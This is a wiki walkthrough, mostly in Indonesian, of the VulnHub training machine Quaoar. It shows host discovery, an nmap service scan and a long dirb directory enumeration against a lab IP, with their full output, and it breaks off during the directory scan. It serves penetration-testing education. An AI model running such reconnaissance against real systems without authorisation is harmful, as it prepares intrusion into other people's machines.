CTF Quaoar: Walkthrough
Revision as of 09:15, 27 January 2023 by Onnowpurbo (talk | contribs) (→Alternative Inject Fake Plugin)
Ambil Quaoar dari Vulnhub
- https://www.vulnhub.com/entry/hackfest2016-quaoar,180/#download
- Install OVA di VirtalBox
- Jalankan, ada clue di page depan Quaoar saat jalan.
- Difficulty Level: Very Easy
Here are the tools you can research to help you to own this machine. nmap dirb / dirbuster / BurpSmartBuster nikto wpscan hydra + Your Brain Coffee Google 🙂
Goals: This machine is intended to be doable by someone who is interested in learning computer security There are 3 flags on this machine
- Get a shell
- Get root access
- There is a post exploitation flag on the box
Cek Mesin
Gunakan
netdiscover -r 192.168.0.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
21 Captured ARP Req/Rep packets, from 20 hosts. Total size: 1260
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
.....
192.168.0.122 08:00:27:b2:18:3a 1 60 PCS Systemtechnik GmbH
......
Scan Quaoar
sudo su nmap -v -A 192.168.0.122 nmap -p1-65535 -A -T4 -sS 192.168.0.122
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-26 20:28 EST Nmap scan report for 192.168.0.122 Host is up (0.0011s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA) | 2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA) |_ 256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA) 53/tcp open domain ISC BIND 9.8.1-P1 | dns-nsid: |_ bind.version: 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 1 disallowed entry |_Hackers 110/tcp open pop3? |_pop3-capabilities: RESP-CODES TOP UIDL SASL CAPA STLS PIPELINING | ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server | Not valid before: 2016-10-07T04:32:43 |_Not valid after: 2026-10-07T04:32:43 |_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd |_sslv2: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time. |_imap-capabilities: more STARTTLS ENABLE post-login LITERAL+ listed capabilities Pre-login have IDLE ID OK LOGINDISABLEDA0001 SASL-IR IMAP4rev1 LOGIN-REFERRALS | ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server | Not valid before: 2016-10-07T04:32:43 |_Not valid after: 2026-10-07T04:32:43 445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd |_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server | Not valid before: 2016-10-07T04:32:43 |_Not valid after: 2026-10-07T04:32:43 995/tcp open ssl/pop3s? |_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server | Not valid before: 2016-10-07T04:32:43 |_Not valid after: 2026-10-07T04:32:43 MAC Address: 08:00:27:B2:18:3A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_smb2-time: Protocol negotiation failed (SMB2) |_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Unix (Samba 3.6.3) | NetBIOS computer name: | Workgroup: WORKGROUP\x00 |_ System time: 2023-01-26T20:31:31-05:00 |_clock-skew: mean: 50m00s, deviation: 2h02m28s, median: 0s TRACEROUTE HOP RTT ADDRESS 1 1.06 ms 192.168.0.122 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 197.36 seconds
Service yang di temukan,
Port Service Product 22 ssh OpenSSH 53 domain ISC BIND 80 http Apache httpd 110 pop3 139 netbios-ssn Samba smbd 143 imap Dovecot imapd 445 netbios-ssn Samba smbd 993 imap Dovecot imapd 995 pop3s
Beberapa informasi menarik dari berbagai servis
ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0 domain bind.version: 9.8.1-P1 http folder Hackers, robots.txt pop3 dovecot pop3d supporting SASL TOP PIPELINING UIDL RESP-CODES STLS CAPA netbios workgroup: WORKGROUP imap post-login ID OK IMAP4rev1 LITERAL+ listed STARTTLS
Tampaknya yang mungkin menarik untuk di exploit adalah port web 80.
Berburu Flag
Pakai dirb
Lakukan,
dirb http://192.168.0.122 dirb http://192.168.0.122 /usr/share/dirb/wordlists/big.txt -o dirb_scan.txt -w
Hasilnya
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Jan 23 21:31:24 2023 URL_BASE: http://192.168.0.122/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.0.122/ ---- + http://192.168.0.122/cgi-bin/ (CODE:403|SIZE:289) + http://192.168.0.122/hacking (CODE:200|SIZE:616848) + http://192.168.0.122/index (CODE:200|SIZE:100) + http://192.168.0.122/index.html (CODE:200|SIZE:100) + http://192.168.0.122/LICENSE (CODE:200|SIZE:1672) + http://192.168.0.122/robots (CODE:200|SIZE:271) + http://192.168.0.122/robots.txt (CODE:200|SIZE:271) + http://192.168.0.122/server-status (CODE:403|SIZE:294) ==> DIRECTORY: http://192.168.0.122/upload/ ==> DIRECTORY: http://192.168.0.122/wordpress/ ---- Entering directory: http://192.168.0.122/upload/ ---- ==> DIRECTORY: http://192.168.0.122/upload/account/ ==> DIRECTORY: http://192.168.0.122/upload/admins/ + http://192.168.0.122/upload/config (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/framework/ ==> DIRECTORY: http://192.168.0.122/upload/include/ + http://192.168.0.122/upload/index (CODE:200|SIZE:3040) + http://192.168.0.122/upload/index.php (CODE:200|SIZE:3040) ==> DIRECTORY: http://192.168.0.122/upload/languages/ ==> DIRECTORY: http://192.168.0.122/upload/media/ ==> DIRECTORY: http://192.168.0.122/upload/modules/ ==> DIRECTORY: http://192.168.0.122/upload/page/ ==> DIRECTORY: http://192.168.0.122/upload/search/ ==> DIRECTORY: http://192.168.0.122/upload/temp/ ==> DIRECTORY: http://192.168.0.122/upload/templates/ ---- Entering directory: http://192.168.0.122/wordpress/ ---- ==> DIRECTORY: http://192.168.0.122/wordpress/index/ + http://192.168.0.122/wordpress/index.php (CODE:301|SIZE:0) + http://192.168.0.122/wordpress/license (CODE:200|SIZE:19930) + http://192.168.0.122/wordpress/readme (CODE:200|SIZE:7195) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/ + http://192.168.0.122/wordpress/wp-blog-header (CODE:200|SIZE:0) + http://192.168.0.122/wordpress/wp-config (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/ + http://192.168.0.122/wordpress/wp-cron (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-includes/ + http://192.168.0.122/wordpress/wp-links-opml (CODE:200|SIZE:217) + http://192.168.0.122/wordpress/wp-load (CODE:200|SIZE:0) + http://192.168.0.122/wordpress/wp-login (CODE:200|SIZE:2530) + http://192.168.0.122/wordpress/wp-mail (CODE:500|SIZE:3011) + http://192.168.0.122/wordpress/wp-settings (CODE:500|SIZE:0) + http://192.168.0.122/wordpress/wp-signup (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-trackback (CODE:200|SIZE:135) + http://192.168.0.122/wordpress/xmlrpc (CODE:200|SIZE:42) + http://192.168.0.122/wordpress/xmlrpc.php (CODE:200|SIZE:42) ---- Entering directory: http://192.168.0.122/upload/account/ ---- ==> DIRECTORY: http://192.168.0.122/upload/account/css/ + http://192.168.0.122/upload/account/forgot (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/login (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/logout (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/preferences (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/signup (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/account/templates/ ---- Entering directory: http://192.168.0.122/upload/admins/ ---- ==> DIRECTORY: http://192.168.0.122/upload/admins/access/ ==> DIRECTORY: http://192.168.0.122/upload/admins/addons/ ==> DIRECTORY: http://192.168.0.122/upload/admins/admintools/ ==> DIRECTORY: http://192.168.0.122/upload/admins/groups/ + http://192.168.0.122/upload/admins/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/admins/interface/ ==> DIRECTORY: http://192.168.0.122/upload/admins/languages/ ==> DIRECTORY: http://192.168.0.122/upload/admins/login/ ==> DIRECTORY: http://192.168.0.122/upload/admins/logout/ ==> DIRECTORY: http://192.168.0.122/upload/admins/media/ ==> DIRECTORY: http://192.168.0.122/upload/admins/modules/ ==> DIRECTORY: http://192.168.0.122/upload/admins/pages/ ==> DIRECTORY: http://192.168.0.122/upload/admins/preferences/ ==> DIRECTORY: http://192.168.0.122/upload/admins/profiles/ ==> DIRECTORY: http://192.168.0.122/upload/admins/service/ ==> DIRECTORY: http://192.168.0.122/upload/admins/settings/ ==> DIRECTORY: http://192.168.0.122/upload/admins/start/ ==> DIRECTORY: http://192.168.0.122/upload/admins/support/ ==> DIRECTORY: http://192.168.0.122/upload/admins/templates/ ==> DIRECTORY: http://192.168.0.122/upload/admins/users/ ---- Entering directory: http://192.168.0.122/upload/framework/ ---- ==> DIRECTORY: http://192.168.0.122/upload/framework/functions/ + http://192.168.0.122/upload/framework/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/framework/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/framework/summary (CODE:403|SIZE:88) ---- Entering directory: http://192.168.0.122/upload/include/ ---- + http://192.168.0.122/upload/include/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/include/yui/ ---- Entering directory: http://192.168.0.122/upload/languages/ ---- + http://192.168.0.122/upload/languages/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/languages/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/media/ ---- + http://192.168.0.122/upload/media/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/media/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/ ---- + http://192.168.0.122/upload/modules/admin (CODE:403|SIZE:79) + http://192.168.0.122/upload/modules/admin.php (CODE:403|SIZE:79) + http://192.168.0.122/upload/modules/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/modules/news/ ==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/ ---- Entering directory: http://192.168.0.122/upload/page/ ---- + http://192.168.0.122/upload/page/index (CODE:200|SIZE:0) + http://192.168.0.122/upload/page/index.php (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/page/posts/ ---- Entering directory: http://192.168.0.122/upload/search/ ---- + http://192.168.0.122/upload/search/index (CODE:200|SIZE:3627) + http://192.168.0.122/upload/search/index.php (CODE:200|SIZE:3627) ---- Entering directory: http://192.168.0.122/upload/temp/ ---- + http://192.168.0.122/upload/temp/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/temp/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/temp/search/ ---- Entering directory: http://192.168.0.122/upload/templates/ ---- ==> DIRECTORY: http://192.168.0.122/upload/templates/blank/ + http://192.168.0.122/upload/templates/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/templates/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/index/ ---- (!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}. (Try using FineTunning: '-f') ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/ ---- + http://192.168.0.122/wordpress/wp-admin/about (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/admin (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/admin.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/comment (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/credits (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/css/ + http://192.168.0.122/wordpress/wp-admin/customize (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/edit (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/export (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/images/ + http://192.168.0.122/wordpress/wp-admin/import (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/includes/ + http://192.168.0.122/wordpress/wp-admin/index (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/index.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/install (CODE:200|SIZE:1080) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/js/ + http://192.168.0.122/wordpress/wp-admin/link (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/maint/ + http://192.168.0.122/wordpress/wp-admin/media (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/menu (CODE:500|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/moderation (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/network/ + http://192.168.0.122/wordpress/wp-admin/options (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/plugins (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/post (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/profile (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/themes (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/tools (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/update (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/upgrade (CODE:200|SIZE:1173) + http://192.168.0.122/wordpress/wp-admin/upload (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/user/ + http://192.168.0.122/wordpress/wp-admin/users (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/widgets (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/wp-content/ ---- + http://192.168.0.122/wordpress/wp-content/index (CODE:200|SIZE:0) + http://192.168.0.122/wordpress/wp-content/index.php (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/plugins/ ==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/themes/ ==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/upgrade/ ==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/uploads/ ---- Entering directory: http://192.168.0.122/wordpress/wp-includes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/upload/account/css/ ---- + http://192.168.0.122/upload/account/css/frontend (CODE:200|SIZE:1931) + http://192.168.0.122/upload/account/css/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/css/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/account/templates/ ---- + http://192.168.0.122/upload/account/templates/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/account/templates/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/access/ ---- + http://192.168.0.122/upload/admins/access/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/access/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/addons/ ---- + http://192.168.0.122/upload/admins/addons/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/addons/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/admintools/ ---- + http://192.168.0.122/upload/admins/admintools/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/admintools/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/admintools/tool (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/groups/ ---- + http://192.168.0.122/upload/admins/groups/add (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/groups/groups (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/groups/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/groups/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/groups/save (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/interface/ ---- + http://192.168.0.122/upload/admins/interface/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/interface/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/interface/version (CODE:403|SIZE:90) ---- Entering directory: http://192.168.0.122/upload/admins/languages/ ---- + http://192.168.0.122/upload/admins/languages/details (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/languages/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/languages/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/languages/install (CODE:500|SIZE:0) + http://192.168.0.122/upload/admins/languages/uninstall (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/login/ ---- ==> DIRECTORY: http://192.168.0.122/upload/admins/login/forgot/ + http://192.168.0.122/upload/admins/login/index (CODE:200|SIZE:2929) + http://192.168.0.122/upload/admins/login/index.php (CODE:200|SIZE:2929) ---- Entering directory: http://192.168.0.122/upload/admins/logout/ ---- + http://192.168.0.122/upload/admins/logout/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/logout/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/media/ ---- + http://192.168.0.122/upload/admins/media/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/media/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/media/thumb (CODE:200|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/modules/ ---- + http://192.168.0.122/upload/admins/modules/details (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/modules/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/modules/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/modules/install (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/modules/uninstall (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/pages/ ---- + http://192.168.0.122/upload/admins/pages/add (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/delete (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/modify (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/restore (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/save (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/sections (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/settings (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/pages/trash (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/preferences/ ---- + http://192.168.0.122/upload/admins/preferences/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/preferences/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/preferences/save (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/profiles/ ---- + http://192.168.0.122/upload/admins/profiles/index (CODE:200|SIZE:324) + http://192.168.0.122/upload/admins/profiles/index.php (CODE:200|SIZE:324) ---- Entering directory: http://192.168.0.122/upload/admins/service/ ---- + http://192.168.0.122/upload/admins/service/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/service/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/settings/ ---- + http://192.168.0.122/upload/admins/settings/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/settings/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/settings/save (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/settings/setting (CODE:200|SIZE:3839) ---- Entering directory: http://192.168.0.122/upload/admins/start/ ---- + http://192.168.0.122/upload/admins/start/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/start/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/support/ ---- + http://192.168.0.122/upload/admins/support/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/support/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/templates/ ---- + http://192.168.0.122/upload/admins/templates/details (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/templates/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/templates/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/templates/install (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/templates/uninstall (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/admins/users/ ---- + http://192.168.0.122/upload/admins/users/add (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/users/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/users/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/users/save (CODE:302|SIZE:0) + http://192.168.0.122/upload/admins/users/users (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/framework/functions/ ---- + http://192.168.0.122/upload/framework/functions/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/framework/functions/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/include/yui/ ---- ==> DIRECTORY: http://192.168.0.122/upload/include/yui/event/ + http://192.168.0.122/upload/include/yui/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/README (CODE:200|SIZE:8488) ==> DIRECTORY: http://192.168.0.122/upload/include/yui/yahoo/ ---- Entering directory: http://192.168.0.122/upload/modules/news/ ---- + http://192.168.0.122/upload/modules/news/add (CODE:403|SIZE:82) + http://192.168.0.122/upload/modules/news/comment (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.0.122/upload/modules/news/css/ + http://192.168.0.122/upload/modules/news/delete (CODE:403|SIZE:85) + http://192.168.0.122/upload/modules/news/icon (CODE:200|SIZE:1058) + http://192.168.0.122/upload/modules/news/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/info (CODE:403|SIZE:83) + http://192.168.0.122/upload/modules/news/info.php (CODE:403|SIZE:83) + http://192.168.0.122/upload/modules/news/install (CODE:403|SIZE:86) ==> DIRECTORY: http://192.168.0.122/upload/modules/news/languages/ + http://192.168.0.122/upload/modules/news/modify (CODE:403|SIZE:85) + http://192.168.0.122/upload/modules/news/rss (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/search (CODE:403|SIZE:85) ==> DIRECTORY: http://192.168.0.122/upload/modules/news/templates/ + http://192.168.0.122/upload/modules/news/uninstall (CODE:403|SIZE:88) + http://192.168.0.122/upload/modules/news/upgrade (CODE:403|SIZE:86) + http://192.168.0.122/upload/modules/news/view (CODE:403|SIZE:83) ---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/ ---- + http://192.168.0.122/upload/modules/wysiwyg/add (CODE:403|SIZE:85) + http://192.168.0.122/upload/modules/wysiwyg/delete (CODE:403|SIZE:88) + http://192.168.0.122/upload/modules/wysiwyg/icon (CODE:200|SIZE:1058) + http://192.168.0.122/upload/modules/wysiwyg/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/wysiwyg/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/wysiwyg/info (CODE:403|SIZE:86) + http://192.168.0.122/upload/modules/wysiwyg/info.php (CODE:403|SIZE:86) + http://192.168.0.122/upload/modules/wysiwyg/install (CODE:403|SIZE:89) ==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/languages/ + http://192.168.0.122/upload/modules/wysiwyg/modify (CODE:403|SIZE:88) + http://192.168.0.122/upload/modules/wysiwyg/save (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/wysiwyg/search (CODE:403|SIZE:88) ==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/templates/ + http://192.168.0.122/upload/modules/wysiwyg/upgrade (CODE:403|SIZE:89) + http://192.168.0.122/upload/modules/wysiwyg/view (CODE:403|SIZE:86) ---- Entering directory: http://192.168.0.122/upload/page/posts/ ---- + http://192.168.0.122/upload/page/posts/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/page/posts/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/temp/search/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/upload/templates/blank/ ---- + http://192.168.0.122/upload/templates/blank/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/templates/blank/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/templates/blank/info (CODE:403|SIZE:86) + http://192.168.0.122/upload/templates/blank/info.php (CODE:403|SIZE:86) + http://192.168.0.122/upload/templates/blank/preview (CODE:200|SIZE:1377) + http://192.168.0.122/upload/templates/blank/template (CODE:200|SIZE:507) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/includes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/maint/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/network/ ---- + http://192.168.0.122/wordpress/wp-admin/network/about (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/admin (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/credits (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/edit (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/index (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/menu (CODE:500|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/plugins (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/profile (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/settings (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/setup (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/sites (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/themes (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/update (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/upgrade (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/network/users (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/wp-admin/user/ ---- + http://192.168.0.122/wordpress/wp-admin/user/about (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/admin (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/credits (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/index (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/menu (CODE:500|SIZE:0) + http://192.168.0.122/wordpress/wp-admin/user/profile (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/wp-content/plugins/ ---- + http://192.168.0.122/wordpress/wp-content/plugins/hello 